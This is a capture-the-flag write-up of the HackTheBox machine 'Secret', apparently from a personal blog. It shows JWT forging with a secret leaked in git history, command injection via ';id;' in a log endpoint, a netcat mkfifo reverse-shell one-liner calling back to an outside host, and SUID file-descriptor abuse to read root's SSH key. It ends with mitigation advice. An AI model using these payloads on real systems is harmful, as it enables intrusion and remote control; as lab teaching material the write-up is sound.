Post

HackTheBox - Secret


Description

Hello hackers, I hope you are doing well. We are doing Secret from HackTheBox.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nmap scan report for 10.10.11.120                                                                                                                             
Host is up (0.17s latency).                                                                                                                                   
Not shown: 997 closed tcp ports (reset)                                                                                                                       
PORT     STATE SERVICE VERSION                                                                                                                                
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                                                                           
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs

We found three open ports, ssh on port 22, nginx on port 80 and node.js on port 3000.

Web

Let’s navigate to the web page on port 80.

We find a website called DumpDocs, and on the bottom we see a download button for the source code.

The website on port 3000 is exactly the same, this means that nginx is acting as a proxy for the node.js application.

Clicking on Register user we go to this page.

Here it shows us how to interact with the api to register a user.

Burp Suite

Let’s start burp suite and register a user.

We’ve successfully registered a user, now let’s login following the steps mentioned in the website guide.

We’ve successfully logged in and received a JWT Token.

We can use that token to request the /api/priv page.

I tried to manipulate the JWT Token to login as admin but it’s not vulnerable.

Let’s download the source code

Source Code

After extracting the source code we find a .git directory, let’s check the commit history.

1
2
3
4
5
6
7
$ git log --oneline                                                                                                                                      
e297a27 (HEAD -> master) now we can view logs from server 😃                                                                                                  
67d8da7 removed .env for security reasons                                                                                                                     
de0a46b added /downloads                                                                                                                                      
4e55472 removed swap                                                                                                                                          
3a367e7 added downloads                                                                                                                                       
55fe756 first commit  

On one commit we find the comment removed .env for security reasons.

If we check the .env file we find that the Token is not there.

1
2
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

Let’s check the difference between the two commits 67d8da7 and de0a46b

1
2
3
4
5
6
7
8
9
$ git diff de0a46b 67d8da7                                                                                                                               
diff --git a/.env b/.env                                                                                                                                      
index fb6f587..31db370 100644                                                                                                                                 
--- a/.env                                                                                                                                                    
+++ b/.env                                                                                                                                                    
@@ -1,2 +1,2 @@                                                                                                                                               
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'                                                                                                            
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE                                  
+TOKEN_SECRET = secret                    

We got the token.

Using CyberChef, let’s sign a new JWT Token.

The reason we used the username theadmin is because it’s the name we find in /routes/private.js that the application uses to check whether the request is coming from an admin or not.

Now back to burp, let’s make a request to /api/priv using the new token.

It’s tells us that we are admin.

Foothold

Command injection

When we checked the git logs we see another commit with an interesting comment now we can view logs from server

When we check the commit we find the following code got added:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.get('/logs', verifytoken, (req, res) => {                                                                                                              
    const file = req.query.file;                                                                                                                              
    const userinfo = { name: req.user }                                                                                                                       
    const name = userinfo.name.name;                                                                                                                          
                                                                                                                                                              
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

We can make a request to /api/logs with the parameter file and it will run the command git log --oneline $(file).

That a command injection right there.

Let’s make the request using burp.

Now let’s add the file parameter to the url with the value ;id;

We successfully run the command id.

Reverse shell

To get a shell we can use nc mkfifo:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f

Don’t forget to url encode the payload

We got the shell!

Privilege Escalation

Running linpeas we find a unknown binary with SUID permission.

The file can give us stats about files and directories.

When we check the source code at /opt/code.c we see that it doesn’t closes the file after opening it. If we background the script after specifying a file, we can access the file handle at /proc/[pid]/fd.

Let’s run the script.

We can see the 3 is pointing to the file we opened, unfortunately we can’t read that file.

The count script also list the content of directories:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dasith@secret:/proc/32331/fd$ /opt/count 
Enter source file/directory name: /root
-rw-r--r--      .viminfo
drwxr-xr-x      ..
-rw-r--r--      .bashrc
drwxr-xr-x      .local
drwxr-xr-x      snap
lrwxrwxrwx      .bash_history
drwx------      .config
drwxr-xr-x      .pm2
-rw-r--r--      .profile
drwxr-xr-x      .vim
drwx------      .
drwx------      .cache
-r--------      root.txt
drwxr-xr-x      .npm
drwx------      .ssh

We’ve listed the root’s directory and we can see there is a .viminfo file which is readable, let’s read it using the same technique as before.

We managed to read the viminfo file, and if we scroll a bit we can find a private ssh key.

Using the key let’s ssh as root.

Mitigation

Information Disclosure - Git

After downloading the source code we find it’s a git repository which allowed us to view an old commit that contained the secret token.

Examine the entire version history to ensure that sensitive information is not committed in the past. If sensitive data has been found make sure to delete it completely because even deleted commits can be viewed.

Command Injection

Proper input validation should be in place by using whitelists and stripping non-alphanumeric characters

Use secure APIs or internal language features instead of running OS commands.


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.